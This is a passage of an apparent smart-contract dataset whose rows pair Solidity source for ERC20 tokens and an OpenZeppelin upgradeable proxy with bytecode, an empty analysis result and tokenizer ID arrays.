= allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } constructor(address _owner) public Ownable(_owner) { } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** @title Token */ contract Token is DetailedERC20, MintableToken { /** @dev Constructor * @param _owner Token contract owner * @param _name Token name * @param _symbol Token symbol * @param _decimals number of decimals in the token(usually 18) */ constructor( address _owner, string _name, string _symbol, uint8 _decimals ) public MintableToken(_owner) DetailedERC20(_name, _symbol, _decimals) { } /** @dev Updates token name * @param _name New token name */ function updateName(string _name) public onlyOwner { require(bytes(_name).length != 0); name = _name; } /** @dev Updates token symbol * @param _symbol New token name */ function updateSymbol(string _symbol) public onlyOwner { require(bytes(_symbol).length != 0); symbol = _symbol; } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610129578063095ea7b3146101b357806318160ddd146101d757806323b872dd146101fe578063313ce5671461022857806340c10f1914610253578063537f53121461027757806366188463146102d257806370a08231146102f65780637d64bcb41461031757806384da92a71461032c5780638da5cb5b1461038557806395d89b41146103b6578063a9059cbb146103cb578063d73dd623146103ef578063dd62ed3e14610413578063f2fde38b1461043a575b600080fd5b34801561010c57600080fd5b5061011561045b565b604080519115158252519081900360200190f35b34801561013557600080fd5b5061013e61047c565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610178578181015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bf57600080fd5b50610115600160a060020a036004351660243561050a565b3480156101e357600080fd5b506101ec610570565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610115600160a060020a0360043581169060243516604435610577565b34801561023457600080fd5b5061023d6106f0565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b50610115600160a060020a03600435166024356106f9565b34801561028357600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102d09436949293602493928401919081908401838280828437509497506108169650505050505050565b005b3480156102de57600080fd5b50610115600160a060020a0360043516602435610851565b34801561030257600080fd5b506101ec600160a060020a0360043516610941565b34801561032357600080fd5b5061011561095c565b34801561033857600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102d0943694929360249392840191908190840183828082843750949750610a029650505050505050565b34801561039157600080fd5b5061039a610a39565b60408051600160a060020a039092168252519081900360200190f35b3480156103c257600080fd5b5061013e610a48565b3480156103d757600080fd5b50610115600160a060020a0360043516602435610aa2565b3480156103fb57600080fd5b50610115600160a060020a0360043516602435610b85565b34801561041f57600080fd5b506101ec600160a060020a0360043581169060243516610c1e565b34801561044657600080fd5b506102d0600160a060020a0360043516610c49565b60065474010000000000000000000000000000000000000000900460ff1681565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105025780601f106104d757610100808354040283529160200191610502565b820191906000526020600020905b8154815290600101906020018083116104e557829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6004545b90565b6000600160a060020a038316151561058e57600080fd5b600160a060020a0384166000908152600360205260409020548211156105b357600080fd5b600160a060020a03841660009081526005602090815260408083203384529091529020548211156105e357600080fd5b600160a060020a03841660009081526003602052604090205461060c908363ffffffff610cde16565b600160a060020a038086166000908152600360205260408082209390935590851681522054610641908363ffffffff610cf016565b600160a060020a038085166000908152600360209081526040808320949094559187168152600582528281203382529091522054610685908363ffffffff610cde16565b600160a060020a03808616600081815260056020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60025460ff1681565b600654600090600160a060020a0316331461071357600080fd5b60065474010000000000000000000000000000000000000000900460ff161561073b57600080fd5b60045461074e908363ffffffff610cf016565b600455600160a060020a03831660009081526003602052604090205461077a908363ffffffff610cf016565b600160a060020a038416600081815260036020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600654600160a060020a0316331461082d57600080fd5b8051151561083a57600080fd5b805161084d906001906020840190610d06565b5050565b336000908152600560209081526040808320600160a060020a0386168452909152812054808311156108a657336000908152600560209081526040808320600160a060020a03881684529091528120556108db565b6108b6818463ffffffff610cde16565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526003602052604090205490565b600654600090600160a060020a0316331461097657600080fd5b60065474010000000000000000000000000000000000000000900460ff161561099e57600080fd5b6006805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600654600160a060020a03163314610a1957600080fd5b80511515610a2657600080fd5b805161084d906000906020840190610d06565b600654600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105025780601f106104d757610100808354040283529160200191610502565b6000600160a060020a0383161515610ab957600080fd5b33600090815260036020526040902054821115610ad557600080fd5b33600090815260036020526040902054610af5908363ffffffff610cde16565b3360009081526003602052604080822092909255600160a060020a03851681522054610b27908363ffffffff610cf016565b600160a060020a0384166000818152600360209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600560209081526040808320600160a060020a0386168452909152812054610bb9908363ffffffff610cf016565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600654600160a060020a03163314610c6057600080fd5b600160a060020a0381161515610c7557600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610cea57fe5b50900390565b600082820183811015610cff57fe5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610d4757805160ff1916838001178555610d74565b82800160010185558215610d74579182015b82811115610d74578251825591602001919060010190610d59565b50610d80929150610d84565b5090565b61057491905b80821115610d805760008155600101610d8a5600a165627a7a7230582045ac03dea26df415eb96e70c5b7bd575424c8ce2787535882d580e91943f13f80029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2094, 15136, 2063, 2692, 2620, 2581, 2546, 18827, 2575, 2581, 23777, 19481, 2063, 22203, 4215, 23833, 2692, 2683, 15878, 2050, 2692, 29097, 29292, 16068, 2278, 2546, 2629, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,454
0x96d1e9d25bd949b6811e2844aca63cb3cfce68af
// SPDX-License-Identifier: No License (None) // File: openzeppelin-solidity/contracts/proxy/Proxy.sol pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // File: openzeppelin-solidity/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: openzeppelin-solidity/contracts/proxy/UpgradeableProxy.sol /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. * * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see * {TransparentUpgradeableProxy}. */ contract UpgradeableProxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if(_data.length > 0) { // solhint-disable-next-line avoid-low-level-calls (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _implementation() internal override view returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newImplementation) } } } // File: openzeppelin-solidity/contracts/proxy/TransparentUpgradeableProxy.sol /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is UpgradeableProxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) payable UpgradeableProxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(admin_); } /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external view returns (address admin_) { admin_ = _admin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external view returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Returns the current admin. */ function _admin() internal view returns (address adm) { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { adm := sload(slot) } } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newAdmin) } } } // File: contracts/bep20/BEP20UpgradeableProxy.sol // initialize() = 0x8129fc1c contract ReimbursementUpgradeableProxy is TransparentUpgradeableProxy { constructor(address logic, address admin, bytes memory data) TransparentUpgradeableProxy(logic, admin, data) { } }
0x6080604052600436106100435760003560e01c80633659cfe61461005a5780635c60da1b1461007a5780638f283970146100ab578063f851a440146100cb57610052565b36610052576100506100e0565b005b6100506100e0565b34801561006657600080fd5b506100506100753660046103aa565b610112565b34801561008657600080fd5b5061008f61014f565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b757600080fd5b506100506100c63660046103aa565b61017e565b3480156100d757600080fd5b5061008f610297565b61011061010b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6102b5565b565b6000805160206103db833981519152546001600160a01b0316336001600160a01b0316141561014757610144816102d9565b50565b6101446100e0565b60006101797f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b905090565b6000805160206103db833981519152546001600160a01b0316336001600160a01b03161415610147576001600160a01b0381166102285760405162461bcd60e51b815260206004820152603a60248201527f5472616e73706172656e745570677261646561626c6550726f78793a206e657760448201527f2061646d696e20697320746865207a65726f206164647265737300000000000060648201526084015b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61025f6000805160206103db8339815191525490565b604080516001600160a01b03928316815291841660208301520160405180910390a1610144816000805160206103db83398151915255565b60006101796000805160206103db8339815191525490565b3b151590565b3660008037600080366000845af43d6000803e8080156102d4573d6000f35b3d6000fd5b6102e281610319565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b803b6103865760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e74616044820152751d1a5bdb881a5cc81b9bdd08184818dbdb9d1c9858dd60521b606482015260840161021f565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b6000602082840312156103bc57600080fd5b81356001600160a01b03811681146103d357600080fd5b939250505056feb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103a2646970667358221220ff1f14daed1009a2324a339a8da8808f400397a2c05cfd889d5a7f2a97b7bcf364736f6c63430008060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2094, 2487, 2063, 2683, 2094, 17788, 2497, 2094, 2683, 26224, 2497, 2575, 2620, 14526, 2063, 22407, 22932, 19629, 2575, 2509, 27421, 2509, 2278, 11329, 2063, 2575, 2620, 10354, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 2053, 6105, 1006, 3904, 1007, 1013, 1013, 5371, 1024, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1013, 8311, 1013, 24540, 1013, 24540, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2023, 10061, 3206, 3640, 1037, 2991, 5963, 3853, 2008, 10284, 2035, 4455, 2000, 2178, 3206, 2478, 1996, 23408, 2213, 1008, 7899, 1036, 11849, 9289, 2140, 1036, 1012, 2057, 6523, 2000, 1996, 2117, 3206, 2004, 1996, 1035, 7375, 1035, 2369, 1996, 24540, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,455
0x96d1feac777012b0dd62dca7361fcd1c31c7395d
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining 